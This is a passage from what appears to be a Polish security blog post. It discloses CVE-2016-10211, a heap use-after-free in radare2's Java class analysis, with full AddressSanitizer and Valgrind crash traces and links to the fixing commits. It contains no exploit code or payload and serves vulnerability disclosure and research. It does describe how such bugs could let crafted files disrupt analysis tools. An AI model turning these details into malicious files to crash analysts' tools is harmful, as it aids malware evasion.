  0x0c047fff9d90: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 02 fa
=>0x0c047fff9da0: fa fa 00 00 fa fa fd fa fa fa[fd]fa fa fa fd fa
  0x0c047fff9db0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
  0x0c047fff9dc0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa fd fd
  0x0c047fff9dd0: fa fa fd fa fa fa 00 fa fa fa 01 fa fa fa 00 00
  0x0c047fff9de0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
  0x0c047fff9df0: fa fa 00 00 fa fa fd fa fa fa 00 fa fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==17551==ABORTING

Issue #575 na GitHubie

Commit naprawiający: 890c3f850293176c0e996a602ffa88b315f4e98f

CVE: CVE-2016-10211

radare2 – Use after free

Słowo wstępu

Projekt radare2, z racji moich zainteresowań oraz wykonywanej pracy jest mi dosyć bliski. Narzędzia wykorzystywane do analizy binarnej plików, są w mojej opinii fenomenalnym wektorem ataku na zaawansowanego użytkownika  – rzadko kiedy ktoś zastanawia się nad tym, czy odpalany plik jest potencjalnie niebezpieczny, nie zdając sobie sprawy co dzieje się “pod spodem”, w momencie jego ładowania. 

Znane podatności w tego typu oprogramowaniu mogą zostać wykorzystane przez malware, celem utrudnienia lub uniemożliwienia analizy za pomocą konkretnego narzędzia. Dla dociekliwych dwa linki o tej tematyce od lcamtufa oraz j00ru (polecam obydwa!).

Pomijając wcześniejsze rozważania, sam rzut oka na obsługiwaną ilość formatów zachęca do poszukiwania błędów w ich implementacji (przypomnę tylko, że projekt utrzymuje również wielki zbiór przypadków testowych idealnych do fuzzingu) 😉

r2 is a rewrite from scratch of radare in order to provide a set of libraries and tools to work with binary files.

Radare project started as a forensics tool, a scriptable commandline hexadecimal editor able to open disk files, but later support for analyzing binaries, disassembling code, debugging programs, attaching to remote gdb servers, ..

radare2 is portable.

  • Architectures: * 6502, 8051, CRIS, H8/300, LH5801, T8200, arc, arm, avr, bf, blackfin, xap, dalvik, dcpu16, gameboy, i386, i4004, i8080, m68k, malbolge, mips, msil, msp430, nios II, powerpc, rar, sh, snes, sparc, tms320 (c54x c55x c55+), V810, x86-64, zimg, risc-v.
  • File Formats:
    • bios, CGC, dex, elf, elf64, filesystem, java, fatmach0, mach0, mach0-64, MZ, PE, PE+, TE, COFF, plan9, dyldcache, Commodore VICE emulator, Game Boy (Advance), Nintendo DS ROMs and Nintendo 3DS FIRMs.
  • Operating Systems:
    • Android, GNU/Linux, [Net|Free|Open]BSD, iOS, OSX, QNX, w32, w64, Solaris, Haiku, FirefoxOS
  • Bindings:
    • Vala/Genie, Python (2, 3), NodeJS, LUA, Go, Perl, Guile, php5, newlisp, Ruby, Java, OCaml, …

Po długim wstępie, krótki opis podatności

Błąd znajdował się w wersji 0.9 (Git HEAD: f49448faf03c2faff8c79a99b28872e8a931efb6).

Niewłaściwa obsługa zarządzania pamięcią w module analizującym skompilowane klasy Java powodowała, na etapie późniejszym, odczyt 4 bajtów zwolnionej pamięci w funkcji ustalającej konwencję wywołania funkcji (powtórzenie zamierzone). Dla ciekawskich, błąd wymagał wprowadzenia zmian w siedmiu plikach oraz dopisania dodatkowych 98 linijek kodu.

W obrazowy sposób pokazuje to z jaką dozą ostrożności trzeba podchodzić do “ręcznego” zarządzania pamięcią w językach programowania C oraz C++. Dociekliwym czytelnikom z poprzedniego zdania polecam również przejrzeć commita naprawiającego 🙂

Log z ASAN:

==35187==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000005ce8 at pc 0x7ff97c5f0585 bp 0x7ffc1c0b2f10 sp 0x7ffc1c0b2f08
READ of size 4 at 0x611000005ce8 thread T0
 #0 0x7ff97c5f0584 in fcn_callconv XYZ/radare2/libr/core/anal.c:2001
 #1 0x7ff97c5f0584 in ?? ??:0
 #2 0x7ff97c5f4b5c in r_core_anal_all XYZ/radare2/libr/core/anal.c:2536
 #3 0x7ff97c5f4b5c in ?? ??:0
 #4 0x7ff97c543480 in cmd_anal_all XYZ/radare2/libr/core/./cmd_anal.c:4503
 #5 0x7ff97c543480 in ?? ??:0
 #6 0x7ff97c50173a in cmd_anal XYZ/radare2/libr/core/./cmd_anal.c:4829
 #7 0x7ff97c50173a in ?? ??:0
 #8 0x7ff97c5e6c6c in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:213
 #9 0x7ff97c5e6c6c in ?? ??:0
 #10 0x7ff97c534810 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:1960 (discriminator 4)
 #11 0x7ff97c534810 in ?? ??:0
 #12 0x7ff97c4fe4a3 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1311
 #13 0x7ff97c4fe4a3 in ?? ??:0
 #14 0x7ff97c4fb344 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2477
 #15 0x7ff97c4fb344 in ?? ??:0
 #16 0x5587c9eb7566 in main XYZ/radare2/binr/radare2/radare2.c:961
 #17 0x5587c9eb7566 in ?? ??:0
 #18 0x7ff975fcf2b0 in __libc_start_main ??:?
 #19 0x7ff975fcf2b0 in ?? ??:0
 #20 0x5587c9de5889 in _start ??:?
 #21 0x5587c9de5889 in ?? ??:0

0x611000005ce8 is located 40 bytes inside of 208-byte region [0x611000005cc0,0x611000005d90)
freed by thread T0 here:
 #0 0x5587c9e83cd0 in __interceptor_cfree.localalias.0 asan_malloc_linux.cc.o:?
 #1 0x5587c9e83cd0 in ?? ??:0
 #2 0x7ff976ee4384 in r_hashtable64_free XYZ/radare2/libr/util/./ht.c:177
 #3 0x7ff976ee4384 in ?? ??:0
 #4 0x7ff97a6e5b02 in r_anal_state_free XYZ/radare2/libr/anal/state.c:70
 #5 0x7ff97a6e5b02 in ?? ??:0
 #6 0x7ff97a654b24 in analyze_from_code_buffer XYZ/radare2/libr/..//libr/anal/p/anal_java.c:502
 #7 0x7ff97a654b24 in ?? ??:0
 #8 0x7ff97a654369 in analyze_from_code_attr XYZ/radare2/libr/..//libr/anal/p/anal_java.c:533
 #9 0x7ff97a654369 in ?? ??:0
 #10 0x7ff97a652de4 in java_analyze_fns XYZ/radare2/libr/..//libr/anal/p/anal_java.c:664
 #11 0x7ff97a652de4 in ?? ??:0
 #12 0x7ff97c5ebf80 in r_core_anal_fcn XYZ/radare2/libr/core/anal.c:1234
 #13 0x7ff97c5ebf80 in ?? ??:0
 #14 0x7ff97c5f4670 in r_core_anal_all XYZ/radare2/libr/core/anal.c:2496
 #15 0x7ff97c5f4670 in ?? ??:0
 #16 0x7ff97c543480 in cmd_anal_all XYZ/radare2/libr/core/./cmd_anal.c:4503
 #17 0x7ff97c543480 in ?? ??:0
 #18 0x7ff97c50173a in cmd_anal XYZ/radare2/libr/core/./cmd_anal.c:4829
 #19 0x7ff97c50173a in ?? ??:0
 #20 0x7ff97c5e6c6c in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:213
 #21 0x7ff97c5e6c6c in ?? ??:0
 #22 0x7ff97c534810 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:1960 (discriminator 4)
 #23 0x7ff97c534810 in ?? ??:0
 #24 0x7ff97c4fe4a3 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1311
 #25 0x7ff97c4fe4a3 in ?? ??:0
 #26 0x7ff97c4fb344 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2477
 #27 0x7ff97c4fb344 in ?? ??:0
 #28 0x5587c9eb7566 in main XYZ/radare2/binr/radare2/radare2.c:961
 #29 0x5587c9eb7566 in ?? ??:0
 #30 0x7ff975fcf2b0 in __libc_start_main ??:?
 #31 0x7ff975fcf2b0 in ?? ??:0

previously allocated by thread T0 here:
 #0 0x5587c9e84040 in calloc ??:?
 #1 0x5587c9e84040 in ?? ??:0
 #2 0x7ff97a6c1784 in r_anal_bb_new XYZ/radare2/libr/anal/bb.c:10 (discriminator 1)
 #3 0x7ff97a6c1784 in ?? ??:0
 #4 0x7ff97a6e3e07 in r_anal_ex_get_bb XYZ/radare2/libr/anal/anal_ex.c:174
 #5 0x7ff97a6e3e07 in ?? ??:0
 #6 0x7ff97a6e4996 in r_anal_ex_analysis_driver XYZ/radare2/libr/anal/anal_ex.c:287
 #7 0x7ff97a6e4996 in ?? ??:0
 #8 0x7ff97a654a40 in analyze_from_code_buffer XYZ/radare2/libr/..//libr/anal/p/anal_java.c:491
 #9 0x7ff97a654a40 in ?? ??:0
 #10 0x7ff97a654369 in analyze_from_code_attr XYZ/radare2/libr/..//libr/anal/p/anal_java.c:533
 #11 0x7ff97a654369 in ?? ??:0
 #12 0x7ff97a652de4 in java_analyze_fns XYZ/radare2/libr/..//libr/anal/p/anal_java.c:664
 #13 0x7ff97a652de4 in ?? ??:0
 #14 0x7ff97c5ebf80 in r_core_anal_fcn XYZ/radare2/libr/core/anal.c:1234
 #15 0x7ff97c5ebf80 in ?? ??:0
 #16 0x7ff97c5f4670 in r_core_anal_all XYZ/radare2/libr/core/anal.c:2496
 #17 0x7ff97c5f4670 in ?? ??:0
 #18 0x7ff97c543480 in cmd_anal_all XYZ/radare2/libr/core/./cmd_anal.c:4503
 #19 0x7ff97c543480 in ?? ??:0
 #20 0x7ff97c50173a in cmd_anal XYZ/radare2/libr/core/./cmd_anal.c:4829
 #21 0x7ff97c50173a in ?? ??:0
 #22 0x7ff97c5e6c6c in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:213
 #23 0x7ff97c5e6c6c in ?? ??:0
 #24 0x7ff97c534810 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:1960 (discriminator 4)
 #25 0x7ff97c534810 in ?? ??:0
 #26 0x7ff97c4fe4a3 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1311
 #27 0x7ff97c4fe4a3 in ?? ??:0
 #28 0x7ff97c4fb344 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2477
 #29 0x7ff97c4fb344 in ?? ??:0
 #30 0x5587c9eb7566 in main XYZ/radare2/binr/radare2/radare2.c:961
 #31 0x5587c9eb7566 in ?? ??:0
 #32 0x7ff975fcf2b0 in __libc_start_main ??:?
 #33 0x7ff975fcf2b0 in ?? ??:0

SUMMARY: AddressSanitizer: heap-use-after-free (/usr/local/lib/libr_core.so+0x267584)
Shadow bytes around the buggy address:
 0x0c227fff8b40: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
 0x0c227fff8b50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
 0x0c227fff8b60: fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c227fff8b70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
 0x0c227fff8b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
=&gt;0x0c227fff8b90: fa fa fa fa fa fa fa fa fd fd fd fd fd[fd]fd fd
 0x0c227fff8ba0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
 0x0c227fff8bb0: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x0c227fff8bc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
 0x0c227fff8bd0: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
 0x0c227fff8be0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable: 00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone: fa
 Heap right redzone: fb
 Freed heap region: fd
 Stack left redzone: f1
 Stack mid redzone: f2
 Stack right redzone: f3
 Stack partial redzone: f4
 Stack after return: f5
 Stack use after scope: f8
 Global redzone: f9
 Global init order: f6
 Poisoned by user: f7
 Container overflow: fc
 Array cookie: ac
 Intra object redzone: bb
 ASan internal: fe
 Left alloca redzone: ca
 Right alloca redzone: cb
==35187==ABORTING

Log z Valgrinda (bardziej czytelny):


==54153== Invalid read of size 4
==54153==    at 0x10013E552: fcn_callconv (anal.c:2001)
==54153==    by 0x100141E1E: r_core_anal_all (anal.c:2536)
==54153==    by 0x1000C9F88: cmd_anal_all (cmd_anal.c:4503)
==54153==    by 0x100095C6F: cmd_anal (cmd_anal.c:4829)
==54153==    by 0x100138496: r_cmd_call (cmd_api.c:213)
==54153==    by 0x1000C00C8: r_core_cmd_subst_i (cmd.c:1960)
==54153==    by 0x10009336C: r_core_cmd_subst (cmd.c:1311)
==54153==    by 0x100090FF6: r_core_cmd (cmd.c:2477)
==54153==    by 0x100083CB4: r_core_prompt_exec (core.c:1684)
==54153==    by 0x10000436F: main (in /usr/local/bin/r2)
==54153==  Address 0x11020e1c8 is 40 bytes inside a block of size 208 free'd
==54153==    at 0x100074EF7: free (in /usr/local/Cellar/valgrind/3.11.0_1/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==54153==    by 0x10046E38F: r_anal_bb_free (bb.c:58)
==54153==    by 0x10166749B: r_hashtable64_free (ht.c:177)
==54153==    by 0x100486425: r_anal_state_free (state.c:70)
==54153==    by 0x1004105BC: analyze_from_code_buffer (anal_java.c:502)
==54153==    by 0x10041011F: analyze_from_code_attr (anal_java.c:533)
==54153==    by 0x10040EFCB: java_analyze_fns (anal_java.c:664)
==54153==    by 0x10013BCFB: r_core_anal_fcn (anal.c:1234)
==54153==    by 0x100141A8C: r_core_anal_all (anal.c:2496)
==54153==    by 0x1000C9F88: cmd_anal_all (cmd_anal.c:4503)
==54153==    by 0x100095C6F: cmd_anal (cmd_anal.c:4829)
==54153==    by 0x100138496: r_cmd_call (cmd_api.c:213)
==54153==  Block was alloc'd at
==54153==    at 0x1000751B9: calloc (in /usr/local/Cellar/valgrind/3.11.0_1/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==54153==    by 0x10046E0FA: r_anal_bb_new (bb.c:10)
==54153==    by 0x100484A4F: r_anal_ex_get_bb (anal_ex.c:174)
==54153==    by 0x1004850C8: r_anal_ex_analysis_driver (anal_ex.c:287)
==54153==    by 0x100484E78: r_anal_ex_perform_analysis (anal_ex.c:230)
==54153==    by 0x10041072C: analyze_method (anal_java.c:571)
==54153==    by 0x1004104B6: analyze_from_code_buffer (anal_java.c:491)
==54153==    by 0x10041011F: analyze_from_code_attr (anal_java.c:533)
==54153==    by 0x10040EFCB: java_analyze_fns (anal_java.c:664)
==54153==    by 0x10013BCFB: r_core_anal_fcn (anal.c:1234)
==54153==    by 0x100141A8C: r_core_anal_all (anal.c:2496)
==54153==    by 0x1000C9F88: cmd_anal_all (cmd_anal.c:4503)
==54153==
==54153== Invalid read of size 4
==54153==    at 0x10013E568: fcn_callconv (anal.c:2004)
==54153==    by 0x100141E1E: r_core_anal_all (anal.c:2536)
==54153==    by 0x1000C9F88: cmd_anal_all (cmd_anal.c:4503)
==54153==    by 0x100095C6F: cmd_anal (cmd_anal.c:4829)
==54153==    by 0x100138496: r_cmd_call (cmd_api.c:213)
==54153==    by 0x1000C00C8: r_core_cmd_subst_i (cmd.c:1960)
==54153==    by 0x10009336C: r_core_cmd_subst (cmd.c:1311)
==54153==    by 0x100090FF6: r_core_cmd (cmd.c:2477)
==54153==    by 0x100083CB4: r_core_prompt_exec (core.c:1684)
==54153==    by 0x10000436F: main (in /usr/local/bin/r2)
==54153==  Address 0x11020e1c8 is 40 bytes inside a block of size 208 free'd
==54153==    at 0x100074EF7: free (in /usr/local/Cellar/valgrind/3.11.0_1/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==54153==    by 0x10046E38F: r_anal_bb_free (bb.c:58)

Issue #6034 na GitHubie

Commit naprawiający: 5800b23e8feb06df42c7898299b4872572b7b979

CVE: N/A